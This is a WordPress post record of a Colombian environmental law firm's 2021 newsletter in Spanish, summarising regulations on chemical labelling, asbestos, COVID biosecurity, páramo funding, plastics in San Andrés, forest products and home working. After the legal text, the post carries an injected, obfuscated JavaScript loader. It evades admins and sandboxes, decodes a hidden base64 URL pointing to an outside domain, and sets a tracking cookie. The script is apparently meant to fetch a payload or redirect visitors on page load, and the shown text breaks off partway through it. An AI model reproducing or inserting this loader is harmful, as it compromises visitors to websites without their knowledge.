{"id":1523,"date":"2021-02-25T20:41:32","date_gmt":"2021-02-25T20:41:32","guid":{"rendered":"https:\/\/alvarezabogadosambiental.com\/?p=1523"},"modified":"2026-02-11T18:46:14","modified_gmt":"2026-02-11T18:46:14","slug":"boletin-informativo-no-2-de-2021","status":"publish","type":"post","link":"https:\/\/alvarezabogadosambiental.com\/es\/2021\/02\/25\/boletin-informativo-no-2-de-2021\/","title":{"rendered":"BOLET\u00cdN INFORMATIVO No. 2 de 2021"},"content":{"rendered":"\n<h2 class=\"wp-block-heading has-palette-color-2-color has-text-color has-link-color wp-elements-29e27f95ca0198a05827d9c90f6d53dc\">BOLET\u00cdN INFORMATIVO No. 2 de 2021<\/h2>\n\n\n<div class=\"page\" title=\"Page 1\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>Se definen las acciones que deben desarrollar los empleadores para la implementacio\u0301n del Sistema Globalmente Armonizado en el lugar de trabajo<br \/>\nResolucio\u0301n No. 773 de 07-04-2021 \u2013 Ministerio del Trabajo<\/p>\n<p>El Ministerio del Trabajo definio\u0301 las acciones que deben desarrollar los empleadores en los lugares de trabajo, para la aplicacio\u0301n del SGA, en relacio\u0301n con la clasificacio\u0301n y comunicacio\u0301n de los productos qui\u0301micos, a fin de velar por la proteccio\u0301n y la salud de los trabajadores, las instalaciones y el ambiente. Entre otros aspectos se dispone lo siguiente:<\/p>\n<ol>\n<li>Los empleadores deben garantizar la clasificacio\u0301n de los qui\u0301micos, por medio del SGA de la ONU, sexta edicio\u0301n revisada (2015).<\/li>\n<li>Se determinan los portales de consulta de informacio\u0301n recomendados.<\/li>\n<li>Se esclarecen las condiciones para el etiquetado de productos peligrosos y no peligrosos, tambie\u0301n para el etiquetado de mezclas o aleaciones.<\/li>\n<li>Se establecen las obligaciones y responsabilidades en cabeza de los empleadores, los trabajadores y las administradoras de riesgos laborales.<\/li>\n<li>Se dispone un re\u0301gimen de transicio\u0301n de 24 meses para sustancias qui\u0301micas puras y de 36 meses para mezclas.<\/li>\n<\/ol>\n<p>Nuevas disposiciones sobre la prohibicio\u0301n de la importacio\u0301n y la exportacio\u0301n de asbesto<br \/>\nDecreto No. 402 del 16-04-2021 &#8211; Ministerio de Comercio, Industria y Turismo<\/p>\n<p>Se establecen disposiciones relacionadas con la prohibicio\u0301n de la importacio\u0301n y la exportacio\u0301n de asbesto en desarrollo de la Ley 1968 de 2019. Si bien dicha norma establecio\u0301 la prohibicio\u0301n de la explotacio\u0301n, produccio\u0301n, comercializacio\u0301n, importacio\u0301n, distribucio\u0301n o exportacio\u0301n de cualquier variedad de asbesto y de los productos con e\u0301l elaborados en Colombia, a partir del 1\u00b0 de enero de 2021; esta prohibicio\u0301n no se aplicara\u0301 ni generara\u0301 efectos juri\u0301dicos respecto al asbesto instalado antes del 1\u00b0 de enero de 2021.<\/p>\n<div class=\"page\" title=\"Page 1\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>A partir de la fecha previamente mencionada, sera\u0301 sancionada econo\u0301micamente toda persona natural o juri\u0301dica que realice la conducta prohibida. Por un lado, en su arti\u0301culo primero, la norma indica las partidas y subpartidas arancelarias para las cuales regira\u0301 dicha prohibicio\u0301n. La norma aplica a toda persona natural o juri\u0301dica, de naturaleza pu\u0301blica o privada, nacional o extranjera, que realice actividades de importacio\u0301n o exportacio\u0301n de cualquier variedad de asbesto y de los productos con este elaborados, hacia o desde y dentro del territorio nacional.<\/p>\n<div class=\"page\" title=\"Page 2\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<h2>Se adopta nuevo Protocolo General de Bioseguridad por el COVID-19 Resolucio\u0301n No. 777 de 02-06-2021 \u2013 Ministerio de Salud y Proteccio\u0301n Social<\/h2>\n<div class=\"page\" title=\"Page 2\">\n<div class=\"section\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>Con el fin de reactivar las actividades de todos los sectores donde se desarrolla la vida cotidiana de la poblacio\u0301n colombiana, es necesario establecer las normas de autocuidado y actualizar el Protocolo General de Bioseguridad que debe ser implementado y adoptado por todas las personas actividades econo\u0301micas, sociales, culturales y todos los sectores de la administraci\u00f3n, a fin de propiciar el retorno gradual y progresivo de todas las actividades.<\/p>\n<div class=\"page\" title=\"Page 2\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>Por otra parte, las medidas especi\u0301ficas de bioseguridad son ma\u0301s objetivas y racionales y, sobre todo, son fruto del conocimiento y comportamiento de la pandemia y los esquemas de seguimiento y vacunacio\u0301n, entre otros.<\/p>\n<div class=\"page\" title=\"Page 2\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>Se trata de un nuevo y u\u0301nico Protocolo General de Bioseguridad, que deroga el anterior, consagrado en la Resolucio\u0301n No. 666 de 2020 y sus posteriores modificaciones, como consecuencia, asi\u0301 como los dema\u0301s protocolos especi\u0301ficos o sectoriales, derogando especi\u0301ficamente las resoluciones 675, 677, 678, 679, 680, 682, 714, 735, 737, 738, 739, 740,<span class=\"Apple-converted-space\"> \u00a0<\/span>748, 749, 773, 796, 797, 798, 887, 889, 890, 891, 892, 898, 899, 900, 905, 957, 958, 993, 1041, 1050, 1120, 1159, 1285, 1313, 1346, 1408, 1421, 1443, 1507, 1513, 1537, 1538, 1359,<span class=\"Apple-converted-space\"> \u00a0<\/span>1547, 1569, 1681, 1721, 1746, 1763, 1764 , 1840, 2295 y 2245 todas de 2020 y 411 y 753 de 2021.<\/p>\n<div class=\"page\" title=\"Page 2\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<h2>Transferencias ele\u0301ctricas: modificaciones para la financiacio\u0301n de la gestio\u0301n integral de los pa\u0301ramos en Colombia<br \/>\nDecreto 644 de 16-06-2021 \u2013 Ministerio de Ambiente y Desarrollo Sostenible<\/h2>\n<p>Por el cual se sustituyen los arti\u0301culos 2.2.9.2.1.4. y 2.2.9.2.1.5., se adiciona un para\u0301grafo al arti\u0301culo 2.2.9.2.1.3. y se adiciona el arti\u0301culo 2.2.9.2.1.8.A. del Decreto 1076 de 2015, en lo relacionado con la financiacio\u0301n y destinacio\u0301n de recursos para la gestio\u0301n integral de los pa\u0301ramos en Colombia.<\/p>\n<div class=\"page\" title=\"Page 3\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>Las modificaciones hechas por este decreto pretenden contribuir a la conservacio\u0301n de pa\u0301ramos mediante la inclusio\u0301n dentro de las entidades beneficiaras de las transferencias mencionadas en el Arti\u0301culo 2.2.9.2.1.4, a la subcuenta para el manejo separado de los recursos presupuestales que se asignen a la administracio\u0301n y manejo del Sistema de Parques Nacionales del Fondo Nacional Ambiental (FONAM).<\/p>\n<p>Adicionalmente, en aras de hacer efectiva la destinacio\u0301n de los recursos mediante el arti\u0301culo 2.2.9.2.1.5., es modificada la distribucio\u0301n del porcentaje de las ventas brutas por generacio\u0301n hidroele\u0301ctrica; estableciendo que la particio\u0301n sera\u0301 del 6% y que sera\u0301 de la siguiente manera: El 3% de las ventas brutas para las Corporaciones Auto\u0301nomas Regionales o para Parques Nacionales Naturales de Colombia que tengan jurisdiccio\u0301n en el a\u0301rea donde se encuentra localizada la cuenca hidrogra\u0301fica y del a\u0301rea de influencia del proyecto.<\/p>\n<p>La norma adiciona un nuevo arti\u0301culo 2.2.9.2.1.8.A., el cual ordena que los recursos transferidos por las empresas generadoras de energi\u0301a hidroele\u0301ctrica a Parques Nacionales Naturales de Colombia por concepto de la transferencia del sector ele\u0301ctrico de que trata el arti\u0301culo 45 de la Ley 99 de 1993, sera\u0301n transferidos a la subcuenta para el manejo separado de los recursos presupuestales que se asignen a la administracio\u0301n y manejo del Sistema de Parques Nacionales del Fondo Nacional Ambiental (Fonam). Fondos que sera\u0301n utilizados para la preservacio\u0301n, restauracio\u0301n, uso sostenible y generacio\u0301n de conocimiento de los pa\u0301ramos.<\/p>\n<h2>Implementacio\u0301n de medidas para la minimizacio\u0301n de los residuos pla\u0301sticos en el Archipie\u0301lago de San Andres, Providencia y Santa Catalina<br \/>\nResolucio\u0301n No. 283 del 22-06-2021 &#8211; CORALINA<\/h2>\n<p>La corporacio\u0301n para el Desarrollo Sostenible del Archipie\u0301lago de San Andres, Providencia y Santa Catalina \u2013 CORALINA, expidio\u0301 la Resolucio\u0301n 283 de 2021 el 22 de junio de la anualidad, por medio de la cual se implementa la Ley 1973 del 2019 en el Departamento Archipie\u0301lago de San Andres Providencia y Santa Catalina y se dictan otras disposiciones. Esta norma prohi\u0301be el uso, ingreso y comercializacio\u0301n de:<\/p>\n<ol>\n<li>(i) \u00a0bolsas pla\u0301sticas utilizadas para la disposiciones y transporte de objetos y mercanci\u0301as en establecimientos comerciales en el Departamento Archipie\u0301lago de San Andres, Providencia y Santa Catalina. (<\/li>\n<li>(ii) \u00a0Uso de globos decorativos en actividades recreativas dentro de las a\u0301reas marinas y costeras del Archipie\u0301lago.<\/li>\n<\/ol>\n<\/div>\n<\/div>\n<div class=\"page\" title=\"Page 4\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>No obstante, todo lo anterior, el texto normativo preceptu\u0301a unas excepciones a las prohibiciones aludidas. Estas son:<\/p>\n<ul>\n<li>Las bolsas utilizadas para el empaque y disposicio\u0301n final de los residuos so\u0301lidos y hospitalarios.<\/li>\n<li>Las bolsas que se utilicen para el procesamiento y presentacio\u0301n, para su posterior comercializacio\u0301n de productos alimenticios elaborados en el Departamento Archipie\u0301lago o introducidos en e\u0301l.<\/li>\n<li>Las utilizadas para el empaque de ropa, lenceri\u0301a, licores, perfumeri\u0301a, cosme\u0301ticos y medicamentos.<\/li>\n<li>Las bolsas, platos, pitillos y vasos con componentes pla\u0301sticos que sean reutilizables, de conformidad con reglamento del Ministerio de Ambiente y Desarrollo Sostenible.<\/li>\n<li>Las bolsas, platos, pitillos y vasos que sean biodegradables, reciclables; que demuestre su aprovechamiento a trave\u0301s del reciclaje o la recuperacio\u0301n energe\u0301tica, oque cuenten con un contenido de materia prima 100% reciclada.Las medidas adoptadas aplican en todas las playas, cayos y ecosistemas estrate\u0301gicos (manglares y humedales) del Departamento sin excepcio\u0301n alguna. Su incumplimiento dara\u0301 lugar a las sanciones correspondientes establecidas en la Ley 1333 de 2009.<br \/>\n<h2>Manejo sostenible de la flora silvestre y los productos forestales no maderables<br \/>\nDecreto 690 del 24-06-2021 \u2013 Ministerio de Ambiente y Desarrollo Sostenible<\/h2>\n<p>Por el cual se adiciona y modifica el Decreto U\u0301nico Reglamentario 1076 de 2015, del sector de Ambiente y Desarrollo Sostenible, en lo relacionado con el manejo sostenible de la flora silvestre y los productos forestales no maderables y se adoptan otras determinaciones.<\/p>\n<p>El decreto incluye una nueva forma de aprovechamiento forestal: el manejo sostenible de flora silvestre y productos forestales no maderables, nueva figura que implica el uso y aprovechamiento de los productos mencionados salvaguardando el equilibrio de los ecosistemas y sus funciones.<\/p>\n<p>Reglamenta los modos, tipos de manejo sostenible, tra\u0301mites y requisitos para adquirir el derecho al manejo sostenible de la flora silvestre y de los productos forestales no maderables. Finalmente, los tra\u0301mites relacionados con el manejo sostenible de la flora silvestre y de los productos forestales no maderables iniciados con anterioridad a la entrada en vigencia de la norma, continuara\u0301n rigie\u0301ndose por las normas vigentes al momento de iniciado el tra\u0301mite.<\/li>\n<\/ul>\n<\/div>\n<div class=\"page\" title=\"Page 5\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>No obstante, el usuario podra\u0301 solicitar a la autoridad ambiental competente que su tra\u0301mite se ajuste a lo dispuesto en la nueva norma, para lo cual contara\u0301 con un te\u0301rmino de seis (6) meses.<\/p>\n<h2>Se regula el trabajo en casa<br \/>\nLey 2088 de 12-05-2021 \u2013 Congreso de la Repu\u0301blica<\/h2>\n<p>Tiene por objeto regular la habilitacio\u0301n de trabajo en casa como una forma de prestacio\u0301n del servicio en situaciones ocasionales, excepcionales o especiales, que se presenten en el marco de una relacio\u0301n laboral, legal y reglamentaria con el Estado o con el sector privado, sin que conlleve variacio\u0301n de las condiciones laborales establecidas o pactadas al inicio de la relacio\u0301n laboral.<\/p>\n<p>Se entiende como trabajo en casa la habilitacio\u0301n al trabajador para desempen\u0303ar transitoriamente sus funciones o actividades laborales por fuera del sitio donde habitualmente las realiza, sin modificar la naturaleza del contrato o relacio\u0301n laboral, o legal y reglamentaria respectiva, ni tampoco desmejorar las condiciones del contrato laboral, cuando se presenten circunstancias ocasionales, excepcionales o especiales que impidan que el trabajador pueda realizar sus funciones en su lugar de trabajo, privilegiando el uso de las tecnologi\u0301as de la informacio\u0301n y las comunicaciones.<\/p>\n<p>Este no se limita al trabajo que puede ser realizado mediante tecnologi\u0301as de la informacio\u0301n y las comunicaciones, medios informa\u0301ticos o ana\u0301logos, sino que se extiende a cualquier tipo de trabajo o labor que no requiera la presencia fi\u0301sica del trabajador o funcionario en las instalaciones de la empresa o entidad.<\/p>\n<p>Bajo esta modalidad excepcional, al empleador debe respetar todas las garanti\u0301as laborales, sindicales, de seguridad social y, por supuesto, las relativas a la seguridad y salud en el trabajo, asi\u0301 como sera\u0301 el primer responsable de suministrar los equipos necesarios para el desarrollo de las actividades, cumplimiento de funciones y prestacio\u0301n del servicio bajo la habilitacio\u0301n de trabajo en casa, sin perjuicio de lo que acuerden las partes con respecto al uso de elementos o equipos propios del trabajador.<\/p>\n<h2>Boleti\u0301n Informativo No. 2 de 2021 (febrero a junio de 2021) Alvarez Abogados Ambientales S.A.S.<\/h2>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<p><span class=\"Apple-converted-space\">\u00a0<\/span><\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>&nbsp;<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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